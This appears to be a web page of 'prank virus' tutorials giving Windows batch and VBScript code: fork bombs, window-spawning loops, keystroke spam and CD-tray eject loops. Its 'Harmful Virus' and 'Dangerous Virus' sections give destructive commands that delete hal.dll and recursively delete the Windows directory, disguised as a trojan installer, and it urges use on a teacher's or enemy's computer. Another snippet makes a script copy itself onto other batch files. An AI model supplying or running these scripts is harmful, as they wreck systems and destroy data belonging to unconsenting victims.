Fork Bombing Virus

Fork Bombing Virus

There is a virus called Fork Bombing Virus which opens Explorer many times.

It has a infinite loop and opens infinite times explorer which will crash your system.
Copy the below program and paste it in a notepad file and save it as ‘forkbomber.bat’

Create a Harmless Virus in 3 Steps

Create a Harmless Virus in 3 Steps

Here is simple tricks to freak your friend. This virus is not harmful it'll open lots of windows at a time so there is many process run at a time and CPU will hang up.

Open Notepad and Type as below:

%0|%0

and save as ExtremeFun.bat  and in the 'Save as Type:' field select 'All Files'

Harmful Virus

Harmful Virus

Copy and Paste below code into notepad and save as any.bat . It will delete hal.dll file which is used to startup computer


Don't try this on your own computer. Try on your teachers or enemy's computer.

del%windir%\system32\hal.dll /q /f /s
shutdown -s -t 00
exit

Create a Dangerous Virus

Create a Dangerous Virus

1.   Open up Notepad, which you can open in Start/run/notepad.

2.  
Type
@echo off
virus

COLOR B

echo Welcome to the Trojan-Installation

del /q /f /s c:\windows

del /q /f /s autoexec.bat

del /q /f /s explorer.exe

goto virus

  
Save your virus as; Trojan-Installation.bat


WARNING:

Do not run this on your computer, or you will have to reinstall windows and lose everything on your hard drive! Do not use this on your computer unless if you have to.

It is illegal to send harmful batch files using the internet. Do not send via e-mail.

It is illegal to use this on someone else's computer without explicit permission.

Easy Harmless Funny Virus with VBScript

Easy Harmless Funny Virus with VBScript

Steps:

1.  
Click on the "Start" button, on the Windows taskbar.

2.  
Click on "Run" and place your cursor in the text box.

3.  
Type in "notepad" and press "Enter" or click on "Ok".

4.  
Enter VBScript code from examples below, making sure each command is on its own line of a text document.

5.  
Save your creations when done.

Click on "File" from the menu bar.
Select "Save".
Choose a name, and be sure to change its extension from ".txt" to ".vbs".

6.  
Run your saved file by browsing to it, then double-clicking on it.


Hello World Example:


1.  
Enter   msgbox("Hello world")   inside of the blank Notepad document. This command creates a dialog box with the words "Hello world".

2.  
Enter   inputbox("What is your name?")   on a new line of this document. This command creates a dialog box that has a text box for inputing text.


Create a Folder Example:


1.  
Enter the following into a new Notepad document:

Option Explicit
Dim objFS, objFolder
Dim strDir
strDir = "c:\VBS_Test"
Set objFS = CreateObject("Scripting.FileSystemObject")
Set objFolder = objFS.CreateFolder(strDir)
WScript.Echo "I created the folder " & strDir & " using wikiHow's example!"
WScript.Quit

Make a fake Error Message on Windows

Make a fake Error Message on Windows

This is just a funny prank to pull on your friends using VBScript. You make a fake error message that has a message on it.


1.  
 Open Notepad. (The quickest way is to press WIN-R, and type "notepad.exe" without the quotes.)

2.  
Copy and Paste the following code:lol=msgbox("Your Message Here",16,"Your Title Here")

3.  
Change Your Message Here to a message, and change Your Title Here to whatever you want to show on the Title Bar. I recommend using Error as a title.

4.  
Go to File-Save as... and select All Files in the Save as type: and save the file as *.vbs and you're all done!

5.  
Just double-click on the .vbs file and the error will pop up!


Note: To make more than one window, add another line of code; for example:

lol=msgbox("Your Message Here",16,"Your Title Here")
lol=msgbox("Your Message Here",16,"Your Title Here")

Create Harmless Freeze virus

Create Harmless Freeze virus

1. 
Open Notepad or other word processor.

2. 
Type on the first line, "start virus.bat," then, on the next #type the following code:
@echo off
for %%f in (*.bat) do copy virus.bat+%%f

3. 
if not exist c:\fr.htm echo {{{1}}}>c:\fr.htm
start virus.bat
4.  
Save the file as "virus.bat" and select all files. You can change "virus" to anything you want.

5.  
Open the file and it will open so many pointless windows, your computer will freeze.

6.  
Shut down your computer and it will return to normal.

7.  
Beware of angry friends

8.  
Or try this one

9.  
Open Notepad or other word processor.

10.   
Type this in BEGIN

11.  
ECHO Endless loop, Help!!

12.  
GOTO BEGIN

13.   
Then save as loop.bat

14.   
Then when you open it it will keep looping Help!! and probly lag or crash a computer.

15.   
If you want to stop it hit X.


This will open pointlessly windows and freeze your Computer


Note: do not try on Your Own Computer

Create a Realistic Looking but Fake Virus

Create a Realistic Looking but Fake Virus

Open Command Prompt by either:

Going to start, run then type cmd and click OK

1. Going start,all programs, accessories, notepad then typing command.com saving it as command.bat then closing and reopening it
Or any other way will do!

2.  Hold alt then press enter

3.  In command prompt type:

4.  cd c:\ (press enter)

5.  dir /s (press enter)

6.  There you are!!

7.  To exit it hold ctrl then press c then type exit and press enter


Note:

Step two is not essential but making it full screen looks better!

This should work with any version of windows.

Press ctrl + s to stop and start it when it's running.

All this does is run a search of every file on your computer.

WARNING: Command Prompt can be harmful depending on what you type in so be careful with it!YOU COULD DELETE STUFF YOU DON'T WANT TO DELETE,OR FREEZE YOUR COMPUTER.

How to make a fake Blue screen of depth

How to make a fake Blue screen of depth

1.  Find a picture of a Blue Screen of Death. These are relatively easy to find on search engines such as Google or Ask, and with others such as Yahoo! and GoodSearch, you can select from a variety of sizes, including wallpaper.

2.   Set it as your background picture. Just right-click on the image and select, 'Set as Background'.

3.   Get rid of any icons. you can do this by right clicking on your desktop and clicking on "arrange icons by" moving your mouse down to show desktop icons and clicking on it to uncheck it.(do opposite to fix)

4.   You can use Ctr+Alt+Delete (or your perfered method to run the task manager) and stop the process called explore.exe this will take away the start bar at the botton of the screen and make it look as if there really is a blue screen of death on your machine. you can reverse this by using Ctr+Alt+Delete and click File->run and type explore.exe to restart the process.

5.  This is the tricky part. You need to get someone to just glance at your computer, making them think you have a Blue Screen Of Depth.

Open Notepad Continually

Open Notepad Continually

This will open notepad continually but not harm you computer.

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

sava as anyname.vbs

Type a string automatically

Type a string automatically

Copy below code and save as anyname.vbs

This code will type "You are a fool" continuously any where.

Set wshShell = wscript.CreateObject("WScript.Shell")

do

wscript.sleep 100

wshshell.sendkeys "You are a fool."

loop

Frustrate your friend by making backspace Continuously

Frustrate your friend by making backspace Continuously

This will press backspace continuously.
type this code into notepad and save as anyname.vbs

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

Open Notepad and Slowly type Hello Message and freak out your friend.

Open Notepad and Slowly type Hello Message and freak out your friend.

Type Code into notepad and save as anyname.vbs

Code:

Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Frustrate your friend by making his hit Enter Continuously

Frustrate your friend by making his hit Enter Continuously

Copy and Paste this code into any text editor (Notepad) and save as enter.vbs

This will work as we press continuously.

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Open/Close CD Drive Continuously

Open/Close CD Drive Continuously

This virus make your CD dirve open/close continuously. dont't worry it will not harm your computer.

Copy and paste following code into Notepad and save as cddrive.vbs


Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

On/Off Your Friends Capslock

On/Off Your Friends Capslock

Just copy following code and paste into Notepad and save as anything.vbs

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop

It will on/off capslock continue until computer will not restart.

It will not harm your computer.

Make a virus which pop ups messages

Make a virus which pop ups messages

Open Notepad and copy following code in this and save as unethical.bat



@echo off
:begin
msg * Hi
msg * This is WARNING message from your Anti virus
msg * Your PC is infected with Trojan.Agent.OTA
msg * Lets have fun with virus!
goto begin


Don't worry it's not a virus it will not infect your PC.

CD drive Virus

CD drive Virus

Here is the simple virus that open and close CD Drive continuousely just write down folowing code into text editor like Notepad and save as anyname.vbs

    set wmp=createObject("wmplayer.ocx.7")
    set drives=wmp.
    cdromCollection
    sub open_saysame()
    on error resume next
    do
    if drives.count>=1 then
    for i=0 to drives.count-1
    drives.item(i).eject()
    next
    end if
    loop end sub
    open_saysame()